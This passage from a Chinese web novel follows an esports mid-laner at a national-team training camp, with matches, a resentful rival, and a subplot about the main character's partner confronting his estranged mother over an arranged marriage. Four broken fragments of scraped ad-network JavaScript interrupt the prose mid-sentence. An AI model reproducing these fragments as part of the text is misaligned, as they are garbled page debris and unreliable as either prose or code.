“是他，中文名齐光茂，跟你一样都是中单位。不过他的比赛风格跟你有很大的区别。”徐泽并不意外鹿溪午注意到了齐光茂，他悄摸摸地介绍： “北美那边比较喜欢打野核，因此齐光茂平时都是拿功能型的中单，擅长的有海洋纹章，荒漠修女……跟你完全是两个风格。” 鹿溪午点点头：“确实，不同的选手适用不同的策略，后来在赛场上我们会拥有更多的战术阵容。” “教练组是这么想的，只不过最终究竟能不能留下来就各凭本事了。” “对了，教练组都有谁啊？我认识吗？” 徐泽微微一笑：“大多数都是老熟人了，主教练是NH的穆哲言，你见过的，异界的老人了。” 这位穆哲言是NH的现任教练，也是S1时期的远古选手，退役后做过解说，现在NH当教练。可以说是异界之颠的赛事中资历最老的人，同样也是最有经验和研究的人。 两人正说着，就见到穆哲言拿着文件夹走过来，鼻梁上架着一副黑框眼镜，头发微卷，举止间动作利落干脆。 看见两人，穆哲言没有多余的寒暄，开门见山道：“等会儿五点会议室开会，宣布纪律和选拔规则，别迟到了。” 鹿溪午推着行李箱点头：“知道了穆教练，我放下东西就来。” 穆哲言向来喜欢雷厉风行的人，闻言很是满意，“好，辛苦——对了，徐教练，你要跟我先去会议室准备。” “好嘞。” 徐泽答应得爽快，也不忘安顿鹿溪午，他向前努了努嘴：“那就是106，你看到了吧？” “看见了，你不用送我了，快去吧。”鹿溪午朝徐泽挥挥手，“等会儿见。” 来到房间，张风回已经占据了一张床，中间的桌子上也散落着他的东西。 鹿溪午环顾一周，房间不大但胜在干净整洁，该有的东西都有了。 鹿溪午拿出手机拍了一张宿舍的照片，[到宿舍了，环境还行。] 几乎是立刻鹿溪午就收到了贺存的回应，[照顾好自己，缺什么就跟我说，我给你送去。] 鹿溪午弯了弯眼睛，回了一个[好]字，便放下行李，匆匆赶往会议室。 离五点半不过三分钟，张风回看到鹿溪午时眼前一亮，连忙招呼他坐到自己旁边。 “幸好你来得及时。” 穆哲言的守时早已在圈内出名，要是在这位活阎王手上迟到，恐怕未来的集训生涯并不好过。 鹿溪午摇摇头，擦擦额头上的薄汗，这一下午都在赶时间，可把他累坏了。 此时会议室里已经坐了不少人，不仅有鹿溪午熟识的职业选手们，也有一些生面孔。 张风回注意到了鹿溪午的眼神，转过头悄悄说道： “那边坐着的是常年排行榜第一的teacher真名叫周远迩，你右手边的那位是大平台的技术区头部主播，还有你对面的从国外征召回来的华侨选手齐光茂……” 随着张风 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回的低声介绍，鹿溪午抬眸瞧了一眼坐在自己对面的齐光茂，不知道是不是自己的错觉，他总觉得齐光茂对他有种淡淡的敌意。 “人都已经到齐了，我们就开始吧。” 穆哲言丝毫不拖泥带水，这位昔日闻名电竞圈的大魔王，哪怕是在做教练也威压尤甚。 “先宣布一下本次集训的规则：第一，按时训练，按时参会，不许迟到，迟到一次扣三分。” “第二，集训为封闭式训练，不能外出，时间固定。上午训练，下午比赛，晚上时间自行安排。基地每晚九点至九点半开放信号，期间可以跟家人朋友联系，但不能透露半点训练内容，等会儿徐教练会把保密协议发给各位。” “第三，集训是淘汰制。每天下午会有不同的比赛，单人，双人或者团队赛。赢一场积一分，输一场扣一分，初始分值每人十分。每三天按积分排名，最后三名淘汰，积分清零者淘汰，消极比赛者淘汰。” 一连三个“淘汰”一出，众人立马感受到了来自国家队的压力，鹿溪午轻握拳头，内心感受到了久违的心潮澎湃。 穆哲言双手撑在会议桌上，沉肃的眼神扫过室内，将众人的神态尽收眼底：“有不懂的，可以提问了。” sad举高手：“比赛是教练组安排，还是我们自行寻找对手？” “都有。”穆哲言敲了敲桌子上的文件夹，“教练组会每天安排比赛，你也可以自行寻找对手，前提是两人都同意的情况下。” sad了然点头：“知道了，谢谢。” 那个技术主播看了看四周，才谨慎地举起手：“穆教练，请问我们上午的训练方式是……？” 闻言，没做过职业选手的人立马便向穆哲言投去好奇的视线。对于他们来说，职业选手的训练方式一直都是一个谜。 dollar跟pound同时皱起了脸，显然是想到了什么不愉快的回忆。 他们两个在NH可是没少遭受穆大教练的摧残，却没想到了国家队还是要继续受苦受难。 穆哲言朝徐泽使了一个眼神，后者立即会意，打开了会议室电脑的训练软件。 “这就是你们明天就开始的训练软件。这个软件主要是训练你们的基本功，比如补刀，走位，CD计算，伤害计算等等。每个板块都有相应的训练时长，只有完成了训练时长，早上的训练才算告一段落。” 徐泽一边介绍，一边用软件给众人演示。华国职业选手对这个软件再熟悉不过了，毕竟是天天都要完成的基本功。 “训练室给每人都配了一台新电脑，有自己用惯的外设可以自行更换，训练的内网账号是你们的身份证号码，密码是后六位。” 徐泽出示了训练室的座位图，“这张座位表会贴在训练室的外墙，到时候你们自己去看——现在，我们先把保密协议签了吧。” 穆哲言耐心地等着徐泽把签好的协议收起来，大手一挥：“今天的晚饭在外面吃，算作给大家接风洗尘。训练——” “明天正式开始。” 40.集训2.0 贺存看着手机里鹿溪午发过来的大餐照片，配合地笑着回了一个嘴馋的表情包。 坐在他对面的男人小心地观察着贺存的表情，识趣地没有说话，只是又给贺存的杯子里添了红酒。 “见谅，回了个信息。”贺存放下手机，主动捏起杯子跟男人碰了杯。 “贺总客气。” 男人回想起之前贺存嘴角的笑容，他也是过来人，对于给贺存发消息的人究竟是什么身份，他心知肚明。 “您家那位这是在查岗了？” 贺存被男人的称呼取悦到了，笑着摇了摇头：“——刚才说到哪儿了？你继续。” “哦哦，是说到我们平台的用户活跃度了……” 这次贺存来海滨，除了陪鹿溪午之外，也正好来这里处理一些工作。 对于星河直播平台的收购已经结束了，贺存以公司实际控股人的身份来跟星河的现任负责人了解情况。 贺存耐心听完了负责人的介绍，星河TV的情况跟他之前了解得差不多，这个负责人很是靠谱。 “新的人事任命大概明后两天就会下发到公司。”贺存看了一眼面前忐忑的负责人，沉吟片刻还是透了口风，“公司以后的战略方向肯定会有大的调整，我需要踏实肯干的老人替我稳住局面。” 听到这句话，负责人明显松了口气。 一朝天子一朝臣，他本来担心新的股东上位后，第一件事便是清扫旧人，自己摇摇欲坠的工作也算是保住了。 “贺总有事尽管交给我，不说完美解决，但绝对给您办得利利落落。” 贺存摆摆手：“明天会有人来跟你对接工作，下午两点开会，星河直播接下来的战略方向是该下发了。” 负责人连连应是，端起酒杯跟贺存一饮而尽。 当初星河直播的收购案确实是一时兴起写出来的，不过自后来贺晋城把华曙的互联网商业开发交给贺存负责后，这份收购案恰好起了作用。 与其跟早已发展成熟的电商拼得你死我活，不如另辟蹊径。 网络上的不少知名主播，动辄便坐拥几千万的粉丝，跟娱乐圈某些明星比起来也不遑多让。为什么不跟娱乐圈学习，流量变现也不是明星才有的特权不是吗？ 贺存端起酒杯，笑得愈发神秘莫测。 . 林氏集团。 因为预计跟华曙的合作告吹，集团这个季度的营收也是比预期下滑了不少。 林沂天望着秘书拿来签字的报表，面色很是不好看。他几乎是恶狠狠地签上了自己的名字，力道之大让一旁的秘书格外心惊胆战。 笃笃的敲门声救了此时压力山大的秘书，然而进来的却是另一个人让林沂天失望的人。 林奚不是第一次来林沂天的办公室，但像今天这么忐忑不安的还是第一次。 “什么事？”林沂天靠在椅背上，手揉着胀痛的太阳穴，语气中明明白白地透露着不耐烦。 很显然，此时此刻林沂天的心情绝对算不上美妙。 林奚是来求人的。 他最近跟另一个偶像团体争代言争得很凶，本来这个笔记本电脑的代言都快要跟张青婉谈好了，可却被对方的经纪公司横插一脚。 放在以前可从来没有这种事情。自从林沂天撤了对他的优待后，此类事情就经常发生了。 林修不仅被林沂天收回了元嘉娱乐的管理权，还被派到纽约去忙上市的事情了。 林奚无法跟大哥求助，只好来求求林沂天能不能点头把这个代言给他。 可现在林沂天却是一副强压怒火的样子，怎么看都不是一个求人的好时机。 林奚攥紧了拳头，咽下所有的不甘，低声道：“……爸爸，我就是来看看你，大哥不在身边，怕您累着了。” 林奚迅速收拾好了情绪，走到林沂天的身后：“我给您按摩按摩吧。” “嗯。”林沂天面色稍霁，感受着林奚恰到好处的力道，“你长大了，都会孝顺爸爸了。” “以前年纪小，不懂事。这是我特地跟中医学的按摩手法，就是想着给爸爸摁摁。”林奚垂下眼眸，将林沂天的神态尽收眼底。 “你有心……”林沂天一边感受，一边像是想起什么似的，“对了，最近工作还顺利吗？学业没有落下吧？” 林奚思考着该如何回话，“……都挺好的。今年老师还夸我高音进步了。” 林沂天被林奚的按摩哄舒服了，双手摸索着椅子的扶手，一句话就解决了代言的问题：“我听说你最近想要一个笔记本电脑的代言是吗？我跟他们江总挺熟了，下次打球时，我帮你问问。” 林奚面色一喜，嘴上还是一副为父着想的样子：“不用这么麻烦，爸爸带我去就好了，求人的事情我自己开口。” “别了，你的高尔夫打得又不好，可别把江总得罪了。还是我去替你说。” “……那我提前谢谢爸爸了。” 林奚走出办公室，没想到自己误打误撞竟讨好了林沂天得到了代言。 他赶紧掏出手机通知了张青婉，同时看见了齐光茂给他留的消息。 [小奚，我已经见到了鹿溪午。放心，我一定会让他付出代价！] 林奚敛下眼眸，长按删除了这条消息。不论齐光茂成功与否，这件事一定不能跟他有任何关系。 鹿溪午…… 林奚咬着下唇，他现在必须证明自己的价值，好让林沂天不至于把他彻底抛弃。要是齐光茂能让鹿溪午滚出国家队就更好了。 齐光茂没有等到林奚的回应，他也并不放在心上。 训练基地只在晚上有半个小时的时间开放信号，等成功了他再跟林奚联系也不迟。 齐光茂看了大屏幕上的对战安排，今天并没有把他跟鹿溪午排在一起。 他的视线遥遥落在认真盯着电脑的鹿溪午身上，摩挲了两下鼠标，倏而起身。 “deer是吧？久仰大名，打一场？” 所有人的视线顷刻集中在了两人身上。 鹿溪午坐在电竞椅上，抬头望向暗含敌意的齐光茂，漂亮的浅咖色眼眸里飞速闪过一丝诧异：从齐光茂的比赛风格来看，他并不适合solo。 不仅是他，就连暗暗关注选手情况的教练组也不解地窃窃私语。 “我记得这个齐光茂是功能型中单吧？” “是啊，咱们给他安排的对手都是偏控场型的，没有高爆发的刺客。” “顶级的中单选手难道只会一种英雄吗？接着看吧，反正这俩迟早都要撞上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” 这是训练以来的第一次有人主动约赛，又是中单位最有争夺希望的两人，自然吸引了所有人的关注。 鹿溪午毫不怯战，快速建好了对战房间：“密码2580，你来吧。” 众人也麻溜地进了房间的观战位，五个观战位争夺激烈，没抢到的人只好跑到五个幸运儿身后蹭观战。 齐光茂握紧鼠标，他虽然在赛场上总拿功能型中单，但很少有人知道，在青训营的时候，他可是打中核的狠人。 齐光茂被系统随机到了先手位，没有丝毫犹豫地拿了版本强势的纯色梦魇。 鹿溪午也很快锁了光影信徒这个可以切形态的英雄。 两人拿的都是高爆发的法刺，游戏地图还没有加载出来，就已经让人嗅到了针锋相对的火药味。 开局两人选择和平地在线上发育，走位都相当谨慎，丝毫没有一套连招带走的可能性。 齐光茂几次给鹿溪午叠上了梦魇标记，却总是叠不到第三层的爆发，不是被鹿溪午走位躲掉，就是时间已过，第一层的标记自动消失。 这时，齐光茂才对鹿溪午的实力有了更加深刻的认识。 光影信徒仍在不紧不慢地清兵，影形态像是长在它的身上一样，半分没有切光形态的意思。 齐光茂暗自提防，一旦让光影信徒的光形态近身定住，他这个脆皮小梦魇随时都能蒸发。 鹿溪午一直盯着自己的经验条，他需要等待一个一击必杀的时机。 两方再次清完一波兵线，正准备读条回城买装备时，鹿溪午的光影信徒率先发难——闪现突脸，紧接着光形态的强控就扔在纯色梦魇的脸上。 齐光茂不得不打断回城条，闪现逃出光影信徒的技能范围，反手甩给鹿溪午一个二技能将鹿溪午身上的标记叠至两层。 然而鹿溪午打法凶悍，半分没有撤退的意思，三技能再次拉进两人之间的距离，噼里啪啦的连招光效霎时糊了齐光茂满屏。 齐光茂顶着飞速下降的血线，一边蛇皮走位，一边反手暴击叠到五层标记。 两人同时摁下代表最后一招的键盘冒，光影信徒的暗形态三技能影击，纯色梦魇的五层标记爆发，两个英雄顿时淹没在特效中。 围观的众人顿时紧张起来，按照伤害来算，两边的爆发都已经做到了极致，极有可能是同归于尽的局面。 但鹿溪午却是老神在在地一笑。 “诶，不是……” “这这光影信徒还活着！” 系统机械声播报—— 【deer（光影信徒）击杀了Abelard（纯色梦魇）】 齐光茂顿时瞪大了眼睛，屏幕中纯色梦魇已经躺在地上，而光影信徒却是顶着闪着红光的血条岿然屹立。 ——是反伤甲。 鹿溪午居然没有做法伤装而是穿了一件反伤甲！ 最后纯色梦魇的五层标记大爆发不仅没有送走光影信徒，反而是一掌把自己拍进了地狱。 dollar对此时齐光茂的心情感同身受，毕竟在之前的比赛中，dollar不止一次被鹿溪午的操作惊到。 dollar联想起了自己从前的经历，不禁悲从中来：“谁来管管deer这个逆天的心算能力啊！” 41.母亲 鹿溪午顶着只剩两滴血的血条，淡淡地对齐光茂一点头：“承让。” 齐光茂只能僵硬地扯扯嘴角，半句客气的话都说不出来。 他纵横赛场多年，还是第一次遇到能把伤害计算精确到个位数的对手。鹿溪午一瞬间所展现出来的心算速度，让他现在想起来都十分胆寒。 这一场比赛显然激起了所有人的热血，当下不少人开始三三两两地对战去了。 大屏幕上是实时积分的排名，每一场比赛结束后都有新的变动。 鹿溪午毫不意外地赢下了今天规定的三场比赛和齐光茂的约战，现在以14分的积分跟dollar、sad并居榜首。 而令人意外的是，那个ID名为teacher的技术主播也以13分的高分名列第二，也就是意味着他今天的三场比赛一场都没输。 穆哲言比鹿溪午更早注意到teacher的特殊，他翻到teacher的个人档案：“周迩远……” “这人的可塑性太强了。”徐泽其实比穆哲言还要更早注意到周迩远。 徐泽因为从直播平台中发掘到鹿溪午这个大杀器的原因，他向来都很关注各大平台的技术主播。私下里，徐泽看过好几场周迩远的直播。 “这三场比赛，teacher用了三种完全不同的对抗思路。”穆哲言用笔盖敲了敲桌子，“打野，中单，射手他都切换得很快，丝毫没有迟滞感。” “我看过他的直播，他什么位置都打，而且都打得挺好的，要是放在队伍里，说不定是个万金油型的选手。” 穆哲言赞同：“过两天看看他和其他选手的适配性……就从deer开始吧。” 徐泽来了兴趣，“行啊，要不排个团战吧。” 是夜。 鹿溪午跟贺存煲完半个小时的电话粥，踩着月色走回寝室。 张风回已经洗漱完毕，懒洋洋地靠在床头，手里拿着一个小本，正往上面记着什么。 余光瞥见鹿溪午步伐轻快地回来，用笔杆戳了戳鼻尖，终于问出那个萦绕他已久的问题：“……你是不是谈恋爱了？” 鹿溪午悚然一惊：“有……有那么明显吗？” 张风回瞪视着他，眼神一言难尽：“你觉得呢？” “其实…也不是啦……”鹿溪午磕磕巴巴，他实在是不知道该怎么解释自己跟贺存的关系。 他们俩到现在为止似乎都没有一个正式的名分。鹿溪午不知道该怎样回应关于贺存的，纯粹而不掺丝毫杂质的爱。 张风回看着手足无措的鹿溪午，心中好笑之余也大概理解了鹿溪午目前的情感状况：“那就是还在暧昧期呗。” “算……吧？”鹿溪午走到自己的床边坐下，望向对面昔日的队友，忍不住虚心请教：“你说，这世界上有纯粹的爱情吗？” “看你怎么定义纯粹咯？”张风回目露惊奇，难得见到在峡谷里果断锋锐的中单大魔王露出茫然踌躇的表情。 “就是不掺杂丝毫其他的情感。”鹿溪午知道现在还能回忆得起当初贺存告白时的一字一句—— “没有年少的惊艳，没有后辈的仰慕，也没有吊桥效应里的依赖……抛开这些的，纯粹的爱情。” 张风回愣住了，一时竟不知道该如何回答。 “这样的爱——有吗？” 跟鹿溪午的视线对上的那一刻，张风回蓦然才意识到鹿溪午是认真的。 “那我认真地回答你，鹿哥。”张风回一改懒散的靠坐，直起身面对着鹿溪午，坚定地与他对视。 “没有。” 张风回斩钉截铁的声音回荡在房间里，带起几缕细碎的微风。 他跟鹿溪午不同。张风回父母健在，家庭幸福，是个从小生长在爱里的孩子，因此，他对感情的理解也更加透彻。 “鹿哥，爱的成分很复杂。没有乍见之欢就不会有爱的开始，没有相知相许就不会有爱的基础，没有相沫以濡就不会有爱的持续。” “惊艳，依赖，仰慕，甚至于相忘，悲苦，离别……这些不都是爱的一部分吗？怎么可以割舍掉这些，单独谈爱情呢？” 鹿溪午想起了自己初遇贺存时的怦然心跳，了解贺存后止不住的叹服，还有那个台风天的温热的手掌…… 那初见的一点点惊艳，在一次次地相处中变得炽热，变得庞大，就像燎原的烈火，烧过了滚烫的胸膛，无法熄灭。 “你……说得对！” 鹿溪午眼神微亮，“我知道该怎样回答他了！” . 贺存走出会议室，低声对身边的助理交代着：“后面一段时间，你多盯盯星河直播这边，第一批的广告投放你跟华曙市场部的那边联系。” “好的，小贺总。” 贺存走进电梯，对着助理微微颔首：“辛苦。” 下到地下车库，贺存快步走到车子面前，他得赶快去给鹿溪午挑衣服。 海滨的这两天气温下降得厉害，空气又潮湿，洗过的衣服总是要好几天才能晾干。鹿溪午带的那几件衣服根本不够换，昨晚他在电话里就跟贺存哭诉这事来着。 海滨市中心的银泰商厦就是贺家的产业。 贺存在这里挑了不少衣服，嘱咐他们都包装好后送到鹿溪午的集训基地去。 “小贺总您看看，是不是这些衣服，还有地址麻烦您也确认一下。” 贺存接过经理的平板，淡淡地瞥了一眼点头：“没错，就是这……？” 一道令贺存无比熟悉的声音就在他耳边炸开—— “杨经理，我订的衣服到了吧？” 一个面容姣好的中年女子走进店门，骨肉停匀，纤秾合度，气质优雅，若不是熟悉的人绝对不会猜到她已经快要五十岁了。 程寅雪摘下眼镜，招呼跟在自己身后的男子：“莱安，快进来呀。” 那个男子看起来二十五六的样子，皮肤白皙，眼眶深陷，一头灿烂的金发，是很典型的欧洲人的面相。 但他开口却是很流利的中文：“程姨，您慢点。” 杨经理喜上眉梢，赶忙迎了出去：“夫人来了？您快坐！您订的西服早就到了。是给小贺总订的吧？” 贺存借着偏厅屏风的遮挡，想要离开避免与这两人见面，却被没有眼色的经理给叫住：“这不巧了么，小贺总也在我们店里呢——琳达，把衣服拿来给小贺总试试！” 程寅雪诧异地转头，正好看见坐在一旁偏厅的贺存：“小存？” 贺存避无可避，只得唤一声：“妈。” 程寅雪不甚自在地嗯了一声，随后推了推她身边的年轻男子：“这是莱安，你见过的。” “伊顿先生的儿子，我跟他当过两年的同学，当然认识。”贺存淡淡点头。 程寅雪出身徽商世家，很小的时候便被送去了英国留学。大学时，她认识了比她大三岁的伊顿，两人迅速坠入爱河。 同年，程家受到当时金融风暴的影响，市值凭空蒸发了上百亿，为了挽回颓势，程家决心与贺家合资。 为求稳定的同盟关系，程寅雪被程家推出来与贺晋城联姻，不得不跟伊顿分手。 后来华曙成立，借着政策的东风顺势而起，国内国外双线开发，才有了如今枝繁叶茂的华曙集团。 贺存出生后，程寅雪便接手了华曙在海外的工作，贺晋城带着贺存在国 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 内坐镇总部。 本就与贺晋城无甚感情的程寅雪，在长年旅居国外的日子里，既见不到儿子，也见不到名义上的丈夫，心中的情谊便越发淡忘。 然而命运有时就是这么奇妙，孤独的程寅雪再次宿命般地遇见了伊顿。此时的伊顿才刚刚丧妻，还带着一个嗷嗷待哺的婴儿。 两人迅速旧情复燃，程寅雪爱屋及乌，连带着对伊顿的儿子莱安也疼爱不已。 这次回来华国出差，更是把莱安带在身边，还为莱安定制了不少衣服。 不知内情的杨经理只以为是程寅雪为贺存订的西服，高高兴兴地亲自接了衣服展示给贺存看。 莱安一头金发炫目，哼笑一声叫住喋喋不休的经理：“经理，那是程姨给我订的衣服。” “啊？啊……” 杨经理的表情陡然凝固，他看看贺存，又看看莱安，最后的视线又落回程寅雪的身上。 程寅雪轻咳出声：“这件确实是我订给莱安的。” 说罢，许是觉得气氛太过凝滞，程寅雪补充了一句：“小存，你要不要也买几身？妈妈给你付钱。” “不用了，我衣服都多得穿不完了。”贺存摇摇头拒绝了好意，思及一旁经理古怪的眼神，便体贴地替她找补了一句，“您上次送我的都还没穿呢。” 程寅雪目光微微闪烁：“既然碰见了，跟妈妈一起去吃个饭吧，正好我也有事要跟你商量——莱安，等会试完衣服了，你自己回去可以吗？” 忽然被丢下的莱安没有半分恼怒，反而还很是善解人意地安抚程寅雪：“没事的程姨，我自己可以。” 母子二人这才走出店门，来到了楼下餐厅的包厢。 饭桌上，许久未见的母子二人都没有先开口。 自从八年前，贺存在家里戳穿了她跟贺晋城的表面婚姻后，程寅雪就不知道该怎么面对这个儿子了。 “我听你爸爸说，你最近接手的项目做得还不错。看来要不了多久，我们就能退休了。” “练手而已，不是什么大的项目。” 程寅雪夹了一筷子菜到贺存的碗里：“跟妈妈谦虚什么？” 碗里的清炒山药色如白玉，散发着胡椒的微微辛香。贺存神色几不可察地黯淡了些许，没有说话。 “上次我在华尔街的酒会上遇见蓝旗银行的董事了，他主动跟我聊起了他的女儿。”程寅雪顿了顿，“我回头查了查，确实是一个好姑娘。” “你要接手华曙，要是有蓝旗银行的助力，会顺利不少。要是华曙后续能与他们合作，我们的实力未必不能更上一层楼。” 贺存的视线从碗里的山药挪开，看向这个与他半生疏离的至亲：“可是妈妈，我已经有喜欢的人了。” “……商业联姻而已。”程寅雪蹙起了好看的眉毛，“你和华曙也需要一个有背景的继承人。” “我不需要继承人，华曙也只是您认为它需要一个继承人而已。” “小存，我是在为你考虑，联姻而已……”程寅雪还想尝试说服贺存。 “联姻，守权。”贺存泄气似的叹了口气：“然后呢？让我再重复一遍您的人生吗？再生下一个我重复我的失望吗？” 程寅雪一怔，看向这个她亏欠了太多的儿子，未出口的劝慰顿时堵在嗓子里。 “妈妈，我想试试和心爱的人在一起是什么感觉。希望你能祝福我。”说完，贺存礼貌颔首，站起身准备离开座位。 “小存！”程寅雪急急叫着贺存的名字，仿佛这样就能留下这个陌生的儿子。 贺存动作未停，起身时的视线扫过碗中的山药，旋即敛了眸光：“妈妈——其实我山药过敏。” 42.集训3.0 今天又是淘汰人的日子。 集训基地大屏上的排名清晰可见，最后三名的ID被加红标出。 三人虽然面色失落，但也心服口服，国家队大神云集，他们也本就是准备来见见世面，有这个结局也并不意外。 跟相熟的朋友告别后，三人便拖着行李箱离开了。 离别落在剩下的人眼里也有一丝别样的伤感，但很快又化作了动力。 毕竟，谁也不想只是来体验一把国家队的住宿，奥林匹克赛场才是他们的终极目标。 齐光茂凝视着排行榜，鹿溪午的ID仍然排在榜首。这几天的比赛里，鹿溪午就只输过两场，操作时完全没有阔别赛场半年的感觉。 或许其他位置的选手感受不是很深刻，但齐光茂作为同样的中单位，知道鹿溪午的一手法刺在单人赛里并不占优势，但鹿溪午却像是并没有受到限制一样。 若说之前齐光茂只是单纯地想要替林奚出出气，才对鹿溪午有敌意，那么现在的齐光茂就是真的把他当做了自己的劲敌。 “好了，大家都停一停手中的事情。” 穆哲言又拿出了他标志性的蓝色文件夹：“今天我们有几场正式的团战。分组的名单我都投影在大屏幕上了，大家可以随时查看。” “这次的团战有我们教练组想要尝试搭配的阵容，所以请各位不管是对手还是队员都要积极配合，认真对待。三十分钟后，我们开始。” 穆哲言一如既往的言简意赅。 鹿溪午发现自己的名字就在第一场的比赛里，并且跟teacher一起。看来是教练组想尝试一些新的中野联动组合。 “deer，要一起商量一下吗？”周迩远主动来找到鹿溪午，他还是第一次跟这位传说中的中单法王交流，难免有点拘束。 “好啊，那我们把其他队友叫在一起吧。” “行，我去喊。”周迩远热情地接过这个工作。 鹿溪午盯着对面的阵容看了又看，发现了三个熟悉的ID：wind，Abelard还有sad。 张风回跟齐光茂都是有名的中野选手，就连sad也是华国联盟第一上单。 这是想顺便测试一下他和周迩远的抗性吗？ 很快，周迩远带着剩下的三位队友过来了，有一个跟周迩远一样是主播，另外的两个是某个战队的二队成员。 几人凑在一堆商量了会儿阵容。期间，三人很爽快地把指挥权交给了鹿溪午。 但鹿溪午却没有答应，他反而把周迩远推出来：“我觉得teacher更合适一些，他跟你们更熟悉，指挥权交给他更好。” 周迩远羞涩地挠了挠头，没有推辞。 “好吧。我会努力带领大家胜利的。阵容方面的话，拿寒冰荆棘和雪影领主可以吗？” 这是一对TD之前常用的中野联动组合，前中期的gank能力极强，但需要中野两人的默契度和对角色的熟悉程度。 “幸好不能禁用角色，不然我都不一定能拿寒冰荆棘。”鹿溪午微微一笑，笑容中蕴藏着一丝鼓励的意味，“拿吧，我很期待和另一个雪影领主搭档的感觉。” 另一边，张风回也在商量着战术，他微眯着眼睛，一副随时随地都能睡着的样子。 sad无奈地瞧了一眼张风回昏昏欲睡的样子，认命地开口：“wind拿野望蔷薇打野，Abelard的海洋纹章走中，我用森林囚徒走上，射手和辅助就用飞箭熟手和神圣歌者，我们从边路突破，这样可以吗？” 跟鹿溪午在中路硬碰硬显然是行不通的，不如从对方的弱点入手，先打爆边路再说。 “这个阵容适合打前期，尽量速战速决，不拖比赛。”齐光茂淡然地提出自己的意见，“那谁指挥呢？” 众人齐刷刷看向张风回和sad，意思再明显不过了。张风回不紧不慢地打了个哈欠，十分摆烂：“我不是指挥位。” “那我来吧。”齐光茂抢在sad开口之前说道。 sad挑高眉毛，若有所思地瞧了齐光茂一眼：“好的。” 这是集训以来的第一次团战，引得不少人关注。 教练组进入游戏房间的观战位，穆哲言在纸上写写画画，他主要关注的对象就是周迩远、鹿溪午和张风回、齐光茂这两对新鲜出炉的搭档。 两方人马很快在峡谷里碰面了。 周迩远拿着雪影领主开局反野，跟张风回正好错过，张风回丢了小半个野区资源，小亏一波。 中路齐光茂仗着手长的优势，一直控制着海洋纹章压制鹿溪午的走位，但鹿溪午手上很是稳健，没有漏掉一个兵。 下路两个射手都还算和平，一直闷头各自发育。直到传来的第一声击杀提示—— 【sad（森林囚徒）击杀了six（朋克机器）】 竟然是sad单杀！不愧是联盟第一上单！ 被单杀的小主播红着脸在语音频道里道歉：“我走位失误了，对不起。” 他第一次跟sad这个级别的选手对线，只有在上手时，才能真正感受到神级选手的顶级压迫感。 “没事，不慌，还能打。”周迩远迅速安慰了一声，“下路小心，对面来找你们了。” 于此同时，鹿溪午在地图里打了一个标志——中单miss。 下路两人果断后撤。 鹿溪午也跟周迩远赶往下路，与此同时，齐光茂跟张风回在下路突然冒头。 双方在下路一波技能互换，谁也没捡到便宜。反而是鹿溪午他们开局丢了第一个人头，有点小亏。 周迩远也看出了对面想从边路进攻的想法，眼神不禁暗了暗。 “deer，我们去抓上。” 鹿溪午看了一眼经济面板，sad现在手拿第一个人头的经济奖励，装备是全场最为豪华的一个。必须抑制sad的发育了。 “收到。” 周迩远的雪影领主大招可以减防，配合寒冰荆棘的六层标记爆发，秒掉一个皮糙肉厚的战士不在话下。 鹿溪午吃掉这波兵线，故意在齐光茂靠近下路的眼位上露了一片衣角。 “注意， (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 对面要去抓下，打野去帮。” 齐光茂自信这个刁钻的眼位不会被鹿溪午发现，他几乎是在看见鹿溪午的瞬间就下了判断。 张风回凭着自己对鹿溪午多年的了解，却是察觉到一点不对劲，但又不好反驳齐光茂的指挥。 鹿溪午跟周迩远两人蹲在了上路的草丛里等待机会。 “找个机会，把sad引出塔来。”这是周迩远对刚刚被单杀的小主播说的话。 两人都是同一个直播平台的同事，对彼此的游戏风格十分了解。 小主播演技精湛，故意顶着剩下的半管血在sad面前晃悠。 同时下路的两人也配合着演戏，打得十分冒进，一副周围有人，底气十足的样子。 “寒冰荆棘在下路吗？” “在。”齐光茂回得斩钉截铁，他看了一眼小地图，语调难得轻松。 sad得到想要的答案，果断抽刀出手，只要没有寒冰荆棘的六层标记爆发，哪怕雪影领主的减防落到自己身上，一套技能也是带不走他的。 森林囚徒的藤蔓缠住对面上单朋克机器的脚，第二技能木制匕首就插进了机器的胸膛。 朋克机器的血条顿时蒸发大半，但好在——sad出塔了！ 周迩远的雪影领主二技能雪盲附带眩晕效果，sad立即被晕在原地，不能移动。 “deer和teacher都在上路！” 其实不用sad提醒，张风回也注意到了他骤减的血量，他也毫不犹豫地对下路射手发起了攻击，好在辅助反应够快，以命换命，保住了射手。 而同时鹿溪午手速爆发，飞快地在sad身上叠了六层寒冰标记。周迩远秒开大招，鹿溪午紧跟标记爆破，最后补上几记普攻。 一套连招下来，哪怕是sad这个血厚的战士也在一瞬间蒸发。 望着瞬间灰下来的屏幕，sad习以为常地叹口气：“就不能让deer拿寒冰荆棘。” 齐光茂脸色难看了一瞬间，刚才是他判断失误了才导致的这一局面：“抱歉，我的锅。” 没能在前期突破边路，再想抑制已经可以游走的deer便已经很难了。 周迩远显然很快就适应了鹿溪午的节奏，总是在恰当的时候进行支援，后期的中野联动已经有了几分多年拍档的味道了。 连鹿溪午都有一瞬间的恍惚，觉得跟自己配合的是张风回，而不是周迩远。 教练组紧盯着比赛，看着鹿溪午和周迩远两人慢慢把劣势扳平，甚至后期还略胜一筹。 “这个teacher跟deer意外地搭呢，看起来不像是新合作的队友，倒像是认识了很久似的。” “仔细看，其实是周迩远在主动去适应鹿溪午的节奏。”穆哲言看得分明，“反观张风回跟齐光茂，这两人反倒打得束手束脚的。” 徐泽听了一耳朵对内语音：“那边是齐光茂在指挥，大局观还是差点意思。” “嗯。”穆哲言十分认同了徐泽的观点，在齐光茂的指挥能力的一栏，打了一个鲜红的大叉。 43.安慰 虽然鹿溪午跟周迩远已经尽了最大努力了，但赛况胶着难分高下，在最后一波高地保卫战中，sad团战切入的时机简直把握得妙到毫颠，鹿溪午这个脆皮在对方集火下瞬间蒸发。 缺少后排的收割，周迩远实在是凑不够输出，最后只能眼睁睁看着张风回打破了水晶。 齐光茂赢了，但赢得并不痛快。 